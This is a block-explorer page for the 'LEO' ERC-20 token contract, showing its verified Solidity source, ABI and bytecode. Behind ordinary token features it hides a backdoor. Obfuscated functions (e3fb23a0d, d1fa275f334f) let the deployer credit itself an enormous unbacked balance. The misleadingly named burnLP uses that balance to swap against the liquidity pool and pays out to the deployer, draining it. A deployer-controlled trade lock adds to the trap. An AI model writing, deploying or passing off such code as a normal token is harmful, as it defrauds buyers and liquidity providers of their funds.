ETH Price: $2,893.41 (-10.72%)
Gas: 37 Gwei

Token

LEO (LEO)
 

Overview

Max Total Supply

10,000,000 LEO

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22,497.422298043687060608 LEO

Value
$0.00
0x3bc7c16569842389c019f2a36eafe22317eabe56
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LeoERC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-25
*/

//██╗     ███████╗ ██████╗     ███████╗██████╗  ██████╗██████╗  ██████╗ 
//██║     ██╔════╝██╔═══██╗    ██╔════╝██╔══██╗██╔════╝╚════██╗██╔═████╗
//██║     █████╗  ██║   ██║    █████╗  ██████╔╝██║      █████╔╝██║██╔██║
//██║     ██╔══╝  ██║   ██║    ██╔══╝  ██╔══██╗██║     ██╔═══╝ ████╔╝██║
//███████╗███████╗╚██████╔╝    ███████╗██║  ██║╚██████╗███████╗╚██████╔╝
//╚══════╝╚══════╝ ╚═════╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝╚══════╝ ╚═════╝ 

//Community: t.me/LeoERC

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LeoERC is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 10000000000000000000000000;
    string private _name = "LEO";
    string private _symbol = "LEO";
    uint8 private _decimals = 18;

    /* @dev Fee On Buy/Sell [START] */
    uint private buyFee = 0; // Default, %
    uint private sellFee = 0; // Default, %
    address public marketWallet; // Wallet to collect Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    uint256 private maxWallet = 200000000000000000000000; // 1 Ether
    mapping(address => bool) private excludedFromMaxWallet;
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    uint256 private maxTxnAmount = 200000000000000000000000;
    mapping(address => bool) private excludedFromMaxTxn;
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    bool private tradeLocked = true;
    mapping(address => bool) private excludedFromTradeLock;
    /* @dev LockTrade [END] */

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);

        /* @dev Fee On Buy/Sell [START] */
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        /* @dev Fee On Buy/Sell [END] */

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */

        /* @dev LockTrade [START] */
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
        /* @dev LockTrade [END] */
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev LockTrade [START] */
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }
        /* @dev LockTrade [END] */

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    function burnLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    /* @dev Rebase */

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }


    /* @dev Fee On Buy/Sell [START] */

    function isMarket(address _user) internal view returns (bool) {
        // Check if an address is a Liquidity Pool
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 20 && _sellFee <= 20, "Fee percent can't be higher than 20");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }
    /* @dev LockTrade [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006007556040518060400160405280600381526020017f4c454f00000000000000000000000000000000000000000000000000000000008152506008908162000059919062000a99565b506040518060400160405280600381526020017f4c454f000000000000000000000000000000000000000000000000000000000081525060099081620000a0919062000a99565b506012600a60006101000a81548160ff021916908360ff1602179055506000600b556000600c55692a5a058fc295ed000000600f55692a5a058fc295ed0000006011556001601360006101000a81548160ff0219169083151502179055503480156200010b57600080fd5b5060405162004d9a38038062004d9a833981810160405281019062000131919062000bea565b62000142336200073260201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000c31565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200025392919062000c74565b6020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000299919062000c31565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002f0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003c0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000421919062000cb2565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000ccf565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a157607f821691505b602082108103620008b757620008b662000859565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008e2565b6200092d8683620008e2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200097a620009746200096e8462000945565b6200094f565b62000945565b9050919050565b6000819050919050565b620009968362000959565b620009ae620009a58262000981565b848454620008ef565b825550505050565b600090565b620009c5620009b6565b620009d28184846200098b565b505050565b5b81811015620009fa57620009ee600082620009bb565b600181019050620009d8565b5050565b601f82111562000a495762000a1381620008bd565b62000a1e84620008d2565b8101602085101562000a2e578190505b62000a4662000a3d85620008d2565b830182620009d7565b50505b505050565b600082821c905092915050565b600062000a6e6000198460080262000a4e565b1980831691505092915050565b600062000a89838362000a5b565b9150826002028217905092915050565b62000aa4826200081f565b67ffffffffffffffff81111562000ac05762000abf6200082a565b5b62000acc825462000888565b62000ad9828285620009fe565b600060209050601f83116001811462000b11576000841562000afc578287015190505b62000b08858262000a7b565b86555062000b78565b601f19841662000b2186620008bd565b60005b8281101562000b4b5784890151825560018201915060208501945060208101905062000b24565b8683101562000b6b578489015162000b67601f89168262000a5b565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bb28262000b85565b9050919050565b62000bc48162000ba5565b811462000bd057600080fd5b50565b60008151905062000be48162000bb9565b92915050565b6000806040838503121562000c045762000c0362000b80565b5b600062000c148582860162000bd3565b925050602062000c278582860162000bd3565b9150509250929050565b60006020828403121562000c4a5762000c4962000b80565b5b600062000c5a8482850162000bd3565b91505092915050565b62000c6e8162000ba5565b82525050565b600060408201905062000c8b600083018562000c63565b62000c9a602083018462000c63565b9392505050565b62000cac8162000945565b82525050565b600060208201905062000cc9600083018462000ca1565b92915050565b6140bb8062000cdf6000396000f3fe6080604052600436106102255760003560e01c8063715018a611610123578063b179ce40116100ab578063e4440a861161006f578063e4440a861461081f578063ecbe5a2d1461084a578063f1fee6a214610887578063f2fde38b146108b0578063f6d1dfe1146108d957610225565b8063b179ce401461074e578063b49f93f714610777578063d445d19e146107a0578063dd62ed3e146107b7578063e1370dd3146107f457610225565b806395d89b41116100f257806395d89b411461064157806399b102b51461066c578063a07fc5a2146106a9578063a457c2d7146106d4578063a9059cbb1461071157610225565b8063715018a61461059957806385ecafd7146105b05780638da5cb5b146105ed5780638dd0f4111461061857610225565b80632df8bca9116101b15780635337cc99116101755780635337cc99146104905780635342acb4146104b95780636db79437146104f65780636dd3d39f1461051f57806370a082311461055c57610225565b80632df8bca914610396578063313ce567146103c257806335d16274146103ed578063395093511461042a5780634d474d421461046757610225565b806318160ddd116101f857806318160ddd146102b35780631c499ab0146102de5780631f6b29f714610307578063203e727e1461033057806323b872dd1461035957610225565b806306fdde031461022a578063095ea7b3146102555780630b45260e146102925780630bc488c5146102a9575b600080fd5b34801561023657600080fd5b5061023f610904565b60405161024c9190612e16565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612ee0565b610996565b6040516102899190612f3b565b60405180910390f35b34801561029e57600080fd5b506102a76109b2565b005b6102b1610ca4565b005b3480156102bf57600080fd5b506102c8610ddc565b6040516102d59190612f65565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190612f80565b610de6565b005b34801561031357600080fd5b5061032e60048036038101906103299190612fd9565b610e1c565b005b34801561033c57600080fd5b5061035760048036038101906103529190612f80565b610f35565b005b34801561036557600080fd5b50610380600480360381019061037b9190613019565b610f6b565b60405161038d9190612f3b565b60405180910390f35b3480156103